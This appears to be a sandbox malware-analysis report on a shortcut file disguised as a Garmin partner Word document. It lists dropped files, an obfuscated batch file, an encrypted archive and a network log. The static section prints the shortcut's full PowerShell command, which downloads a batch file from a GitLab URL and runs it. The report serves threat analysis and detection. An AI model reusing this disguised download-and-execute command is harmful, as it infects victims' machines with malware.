SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	A5BB058971DEC87CE835D00F046BAAB4
SHA1:	556FA1715E53C4FC34F07F4E3DDA7668CB4DF86F
SHA-256:	A4FDC98AE563A3D4A59FD8EB6BD1F7CC9AE6DB69A0572F363B1DD06299BD5B12
SHA-512:	07800196C2F41DC217E7843D3B4850A3573D2507AD68F8DB41767053E98608B6BA7E46EA6DC24D67A3790C02E62FBC2C2D7A6621F0B5876E49A07D763F220A7C
Malicious:	false
Preview:	T.[%... .......7.......X\...;...{......................0.e......!...{?.);...\|u.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................p,g.);...\|u...................-]);...\|u..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07926061945034857
Encrypted:	false
SSDEEP:	3:4UYe7xppZQFrfNaAPaU1l84Mv3QXXalluxmO+l/SNxOf:4Uz7xppSNDPaURMvNgmOH
MD5:	ECF9A07B5EBF72DCC099202BB2535BC9
SHA1:	A317891DFCBAA839DBDA648DE42254C9B14449C9
SHA-256:	51D022ED259EF85525BCC841545C43745E7DA1A2A7EDAB8BF7F876F83B7050B4
SHA-512:	0B113433FF625266B448A99D7F88F14306E10CA252B93A50A6E6C02346C5C7F346B69AEBF4C8547A03CF2220FBFAED79B64F8DBEDF757C504F8DD70C6629B3F9
Malicious:	false
Preview:	x.R{.....................................;...{..);...\|u..!...{?..........!...{?..!...{?..g...!...{?...................-]);...\|u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Document.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	68976355
Entropy (8bit):	7.994094503162378
Encrypted:	true
SSDEEP:	1572864:w2Tc+a0WKQw0Fpc9vBCUNyWpNBTvL3NauYsHB:NFa03R/1U8BTvL3NtYAB
MD5:	2E397B8D490DA118688BCABFFD486B87
SHA1:	EF71F53EAB39891FCABBEB8B00F4CAF58D0E2B87
SHA-256:	3864E247418A4AF607C2679DB39A7E09B1B8490DFBC86CDE62C65D6F790EDE15
SHA-512:	91A4E1A208D258E1B92982A7A2C0BB31171D35454A27D54C3156F3808BEEFA304D5A545582A853A9D685AE3D934BFD1133C82B479B81A7D3C4B1657A151C8E37
Malicious:	true
Preview:	PK.........,.Y................Scripts/PK.........=VX0p(Kt...........Scripts/normalizer.exe..`.U.0.dk.'..e.....,..5..M...R6......B;....lM;...EG.g.Q.e..q.aS......T,.R...,.m.....{.......}..~o...}..s.=....p.....p...~,...:..g..>...G.P9..X.\|E....pYq.JSN..U..ii....b..6g.iean....x.....V...>.._.'G...R..k.\|a...n.}...S...9...A....3.[...Y..]...v...u...9.4.....h......c F..cf5.....AM.......@.......}1I.MC.....\|..U.%$..S..H........W..$....8.....C...qY..s..l....4......t...$...YY...LT=.UM..-Q..\4..W..L.)...........py...p..f.......fp.....hp.tJ.9<....t.l.PvZ.s. .^JVqB.^.S....Ni..lW.7-...^g\|......9N....k.7..%x.-.N.c9n'..b..-.5.46^%O-.39$O.O...=........9.h0.,O..8^/x.x.".}.$...&H...\.I.......nrH....0.z..J.&.$...r.......m...M.$..R. -...{Mw.t..'x...Z.X.Zo.......)..^.X($.5i>...{..NO^.\.s.Uj....h..?^-7u. A...:..l....."_.A..V.w.%.V.Xy.=.J.P.6.....vkU.....M...C.9....$.ERo.....`...c4.?!Gq$^.4.}..8.-@.Z..J_./d...b..o....q4_.T.>.v._....a.k!7.....(.9.Sj..O

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Updates.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (17195), with no line terminators
Category:	dropped
Size (bytes):	34392
Entropy (8bit):	5.564093905138268
Encrypted:	false
SSDEEP:	192:e+fYTBrVMuPXbWAQnRpUXO/ymvIfD3JiP/zZ0KN4AScIICvEx7LbpyW3m6XrH+wy:e+fYT9VyAuRCX7EIfD3JiPnS0Tx02jO
MD5:	1219323F0C4FD2E4E5710F1E08C34472
SHA1:	C6E4CDA868309FF19119D07D1C52280A4611B625
SHA-256:	3A2FE3F6137D8CA71332818DF4DD4030C5363D3032307B7ABB1D591811E69C42
SHA-512:	176DA8B330989F331E9C15FD666D84CEC20CCC9FFF3E819FA2AE2307B623B33089370804EF199FD202F5C1C4D30C422194547AB4F71572337780DF24D5F5373F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AbobusObfuscator, Description: Yara detected Abobus Obfuscator, Source: C:\Users\user\AppData\Local\Temp\Updates.bat, Author: Joe Security
Preview:	....>nul 2>&1 &cls.@@e%.( ._.).(...)(...)(...)(...)(...)^%ch%(...).( ._.).(...)(...)(...^)(...)%^%(...).( ._.).(...)(...)(...)(..^.)%o o%..^....%^%......^%ff&f%(...).(.._.)..(.._.).(...).( ._.).(..^.)%o^%(...)^(...).( ._.)..( ._.)..(.._.).(...)%r /l %%i in (1 1 1)Do (f%(...).(.._.)..(.._.).(...).( ._.).(..^.)%o^%(...)^(...).( ._.)..( ._.)..(.._.).(...)%r /l %%i in (1,1,1)Do (I^F %ERrOrleveL% EQ^%......^%%.^.....%U 0 e%..^....%x%.....^.%i%...^...%^t)).;@(@chcp.%(...)(...)(...)(.^..)(...)(...)%%.^( ._.).(...)(...).( ._.).(...).(.._.).%co%.( ._.).(...)(.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jcvwekcp.yku.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kek2ptmc.ksg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kqj2enva.zkx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkiwgelb.nu3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s4wqzuzv.aoh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stsdh31i.tcf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tby4qaxi.per.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0a4wjmr.asq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\tmp

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:Mrv:gv
MD5:	CE585C6BA32AC17652D2345118536F9C
SHA1:	BE0E41B3690C42E4C0CDB53D53FC544FB46B758D
SHA-256:	589C942E748EA16DC86923C4391092707CE22315EB01CB85B0988C6762AA0ED3
SHA-512:	D397EDA475D6853CE5CC28887690DDD5F8891BE43767CDB666396580687F901FB6F0CC572AFA18BDE1468A77E8397812009C954F386C8F69CC0678E1253D5752
Malicious:	false
Preview:	ECHO is off...

\Device\Null

Download File

Process:	C:\Windows\System32\find.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	3.8956388075276664
Encrypted:	false
SSDEEP:	3:gOmAe9qQn:xm/
MD5:	89D484A82D15549C8F4BF2B4D4F1E924
SHA1:	58F49E997A58A17C2902E08026BAC2DD16A34B1B
SHA-256:	040AE1183CD6102AC612B2D88C2816B358FDC4743BC9CD05376E797595167B40
SHA-512:	C0C920A9369FF9E28C9DAE6CA21AE7A1F9A79F2F4F8F97E247D133700FC446CEAA2C6C40116DE644CEA9336D9064792F3AD7011EBCBF5B6675779C57590F167B
Malicious:	false
Preview:	FIND: Parameter format not correct..

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Working directory, Has command line arguments, Icon number=1, Archive, ctime=Wed May 15 08:54:16 2024, mtime=Wed Dec 11 07:35:47 2024, atime=Wed May 15 08:54:16 2024, length=289792, window=hidenormalshowminimized
Entropy (8bit):	3.514559636720177
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk
File size:	2'416 bytes
MD5:	22d305930675a83fd272814b79306796
SHA1:	8954f2f3ae32e28efb1cda227559a9dd0af3078c
SHA256:	6542fa09273d05c5c5231e78195c60e33068c28d1a68da1f3223c4c54c2bf9c6
SHA512:	fa7353d06759f6b840cb071b0356bb3e2d9c531d9967de7058311484b78caf480f64c7547a72e2125929ca60c0fda6384dd247d50998e1f5d19387c91de1b4a4
SSDEEP:	48:8gXYJJcRdJ6PCkIcSu7dIKaRXv3KabhzYk:8mYJJcRv4CzW7duvKGzY
TLSH:	B741CB1637E91314E2F38E3B94BAE2018620BC96ED12DF5E409061CC69F1601FCB6F7A
File Content Preview:	L..................F.... ....-\..........K..$.]......l......................5....P.O. .:i.....+00.../C:\...................V.1......YH...Windows.@........OwH.Y.@..........................~V..W.i.n.d.o.w.s.....Z.1......Y.0..System32..B........OwH.Y[=....@.

File Icon


Icon Hash:	74f4d4dcdcc9e1ed

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	/c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"
Icon location:	%SystemRoot%\System32\SHELL32.dll

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 12:59:10.505455971 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:10.505515099 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:10.505589962 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:10.515695095 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:10.515711069 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:11.731843948 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:11.731942892 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:11.736758947 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:11.736772060 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:11.736993074 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:11.743613958 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:11.787334919 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.215451002 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.215517044 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.215584993 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.215591908 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.215605974 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.215648890 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.215660095 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.224025965 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.224437952 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.224446058 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.231954098 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.236186981 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.236197948 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.240382910 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.240449905 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.240458012 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.257303953 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.257347107 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.257360935 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.306041002 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.336539984 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.384033918 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.407418013 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.411135912 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.411242008 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.411317110 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.411334038 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.411541939 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.418936014 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.426717043 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.427934885 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.427953005 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.435049057 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.436165094 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.436180115 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.442187071 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.443914890 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.443926096 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.449924946 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.450704098 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.450714111 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.457812071 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.457859993 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.457869053 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.457914114 CET	443	49716	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:12.457958937 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:12.705605984 CET	49716	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:14.919543982 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:14.919655085 CET	443	49717	162.125.69.18	192.168.2.6
Dec 12, 2024 12:59:14.919749022 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:14.925096989 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:14.925134897 CET	443	49717	162.125.69.18	192.168.2.6
Dec 12, 2024 12:59:16.347628117 CET	443	49717	162.125.69.18	192.168.2.6
Dec 12, 2024 12:59:16.347816944 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:16.350167036 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:16.350191116 CET	443	49717	162.125.69.18	192.168.2.6
Dec 12, 2024 12:59:16.350415945 CET	443	49717	162.125.69.18	192.168.2.6
Dec 12, 2024 12:59:16.356739044 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:16.399359941 CET	443	49717	162.125.69.18	192.168.2.6
Dec 12, 2024 12:59:17.738054991 CET	443	49717	162.125.69.18	192.168.2.6
Dec 12, 2024 12:59:17.738128901 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:17.738137960 CET	443	49717	162.125.69.18	192.168.2.6
Dec 12, 2024 12:59:17.738188982 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:17.739514112 CET	49717	443	192.168.2.6	162.125.69.18
Dec 12, 2024 12:59:23.665338993 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:23.665400982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:23.665505886 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:23.667855978 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:23.667881966 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:24.890196085 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:24.890436888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:24.901860952 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:24.901876926 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:24.902385950 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:24.914808989 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:24.955331087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.354166985 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.354248047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.354283094 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.354305983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.354599953 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.354713917 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.354720116 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.359034061 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.359095097 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.359113932 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.359122038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.359231949 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.367347956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.375842094 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.375894070 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.375905991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.384191036 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.384244919 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.384253025 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.474087000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.474160910 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.474175930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.474190950 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.474230051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.545787096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.548083067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.548137903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.548160076 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.555778980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.555975914 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:25.555984974 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.570565939 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:25.570640087 CET	443	49878	172.65.251.78	192.168.2.6
